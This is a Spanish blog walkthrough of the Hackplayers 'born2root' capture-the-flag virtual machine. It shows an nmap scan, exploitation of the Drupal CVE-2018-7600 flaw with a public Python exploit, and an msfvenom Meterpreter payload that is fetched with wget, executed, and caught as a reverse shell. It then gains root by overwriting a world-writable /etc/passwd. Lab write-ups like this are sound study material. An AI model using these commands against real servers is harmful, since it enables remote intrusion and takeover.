Bueno días coleguillos y coleguillas, hoy os traigo mi forma de resolver el reto número 25 de Hackplayers llamado born2root, el cúal se puede descargar desde este enlace que os dejo aquí DESCARGA.

Bueno lo primero que debemos saber es que es un reto sobre una máquina virtual la cúal no debemos tocar salvo para encenderla dado que se debe simular que no tenemos acceso físico sobre esta.

Lo primero que voy a realizar es lanzar el comando netdiscover dado que está dentro de mi red LAN y esto simplifica bastante la forma de identificar la dirección IP de la máquina, es un proceso de pentesting o hackeo de un entorno de estas características lo hubiésemos obtenido mediante google dorking o escaneres del tipo shodan o algunas de sus mejores alternativas tál y cómo indican los muchachos de DRAGONJAR en este enlace .

Bueno al lío una vez que descubrimos cúal es la dirección IP del servidor vamos a realizar un escaneo de puertos con nuestra gran amiga nmap.

root@HACKMAISTER14:~# nmap -A 192.168.1.140

Starting Nmap 7.60 ( https://nmap.org ) at 2018-05-27 09:21 CEST
Nmap scan report for hackmen00b.home (192.168.1.140)
Host is up (0.00040s latency).
Not shown: 998 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.5p1 Ubuntu 10ubuntu0.1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 c1:12:f0:96:bc:af:f0:71:87:8a:af:ee:82:a8:1d:4b (RSA)
| 256 97:0d:aa:e7:4b:75:d8:3a:d7:65:3a:c9:d8:93:51:48 (ECDSA)
|_ 256 7f:0c:66:c0:b4:56:5e:88:57:14:a1:5b:46:51:c8:bc (EdDSA)
80/tcp open http Apache httpd 2.4.27 ((Ubuntu))
|_http-generator: Drupal 7 (http://drupal.org)
|_http-server-header: Apache/2.4.27 (Ubuntu)
|_http-title: Owasp CTF
MAC Address: 08:00:27:65:91:C1 (Oracle VirtualBox virtual NIC)
Device type: general purpose
Running: Linux 3.X|4.X
OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
OS details: Linux 3.2 – 4.8
Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE
HOP RTT ADDRESS
1 0.40 ms hackmen00b.home (192.168.1.140)

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 9.63 seconds
root@HACKMAISTER14:~#

Se aprecia que se dispone de un servidor web corriendo mediante apache y que aloja un CMS Drupal 7.xx. Con una pequeña búsqueda en internet apreciamos que existe una vulneravilidad en CVE-2018-7600 y para el cúal hay varios exploit públicos, inclusive existe un módulo dentro de metasploit para poder obtener una shell.

No obstante cómo solo de los exploits de metasploit vive el hombre decidicí usarlo solo para la shell reversa, pero la subida del payload y su ejecución he decidido llevarla a cabo con un exploit realizado en python albergado en github que me ha gustado mucho y desarollado por lorddemon.

A pesar de esto le lancé un scaner con OpenVas para ver si salía alguna vulnerabilidad crítica que me diese un acceso directo a root pero nu hubo mucha suerte.

Captura de pantalla de 2018-05-27 09-36-10.png

Esto nos confirma que es posible lanzar un ataque con el exploit arriba indicado de manera que lo primero es crear un payload para poder abrir una shell.

msfvenom -p linux/x64/meterpreter/reverse_tcp lhost=192.168.1.116 lport=8888 -f elf -o caca.elf

Con esto tenemos el archivo para abrir una conexión lo que haremos será subirla al servidor. Este punto requiere de tener una cosa clara /tmp, /tmp, y /tmp. /tmp nos deja hacer cualquier cosa con los binarios de linux sobre los que tengamos permisos, es decir, grabar archivos y cómo no descargarlos también.

Por ello movemos nuestro payload caca.elf a un servidor web para usar el exploit python de github para usar el comando de change directory a /tmp y wget el payload.

python dru.py -h http://192.168.1.140 -c “cd /tmp && wget 192.168.1.116/caca.elf”

python dru.py -h http://192.168.1.140 -c “cd /tmp && chmod +x caca.elf”

Ahora debemos configurar metasploit para recivir la escucha.

msf > use exploit/multi/handler
msf exploit(multi/handler) > set payload linux/x64/meterpreter/reverse_tcp
payload => linux/x64/meterpreter/reverse_tcp
msf exploit(multi/handler) > set lhost 192.168.1.116
lhost => 192.168.1.116
msf exploit(multi/handler) > set lport 8888
lport => 8888
msf exploit(multi/handler) > run -j
[*] Exploit running as background job 0.

Y volver a usar nuestro exploit para ejecutar el payload y obtener la shell.

python dru.py -h http://192.168.1.140 -c “cd /tmp && ./caca.elf”

Paso 1 completado, empieza la guerra.

[*] Started reverse TCP handler on 192.168.1.116:8888
msf exploit(multi/handler) > [*] Sending stage (812100 bytes) to 192.168.1.140
[*] Meterpreter session 1 opened (192.168.1.116:8888 -> 192.168.1.140:35290) at 2018-05-26 20:07:42 +0200

msf exploit(multi/handler) > sessions -i 1
[*] Starting interaction with 1…

Ahora lo primero es ver si es posible abrir un entorno tty /bin/bash dentro de nuestra shell para ello usamos una python spawn.

python3 -c ‘import pty; pty.spawn(“/bin/bash”)’

www-data@hackmen00b:/usr/bin$

Así ya estamos más cómodos… , investigando vemos que tenemos acceso al /home del usuario hackmen00b y podemos leer el archivo user.txt –> 8D2A959E6B154EC9215882B82F28CFCB –> nsa . Este hash no es la pass de ningún usuario.

Lo siguiente es mirar que podemos hacer dentro de /etc y concretamente si podemos leer shadow cosa que no es posible pero existe passwd con 777 lo cúal nos permite tunear el hash de root.

Para ello vuelvo al entorno de meterpreter lo que significa cerrar la shell y me descargo el /etc/passwd para modificarlo de la siguiente manera.

root:$1$abc$SMQfnjT7JUSBUaaUhhW8g.:0:0:root:/root:/bin/bash

Se ha sustituido la x con un hash adecuado para linux y generado de esta manera.

root@HACKMAISTER14:~# openssl passwd -1 -salt abc usuario
$1$abc$SMQfnjT7JUSBUaaUhhW8g.

Ahora simplemente subo el fichero passwd a /etc y se cierra la sesion, de manera que corro un run -j en metasploit y desde el exploit python vuelvo a lanzar el payload para poder abrir una nueva shell, creo de nuevo una tty /bin/bash mediante python y llega la mágia.

eterpreter > shell
Process 1320 created.
Channel 1 created.
su root
su: must be run from a terminal
cd /usr/bin
python3 -c ‘import pty; pty.spawn(“/bin/bash”)’
www-data@hackmen00b:/usr/bin$ su root
su root
Password: usuario

root@hackmen00b:/usr/bin# ls /root
ls /root
root.txt
root@hackmen00b:/usr/bin# cat /root/root.txt
cat /root/root.txt
0C9357CD1516EB0A516D604EAC7177FC

Con esto se termina el reto 25 de hackplayers boor2root.

Un placer escribiros este domingo, a la guerra!!.

Anuncios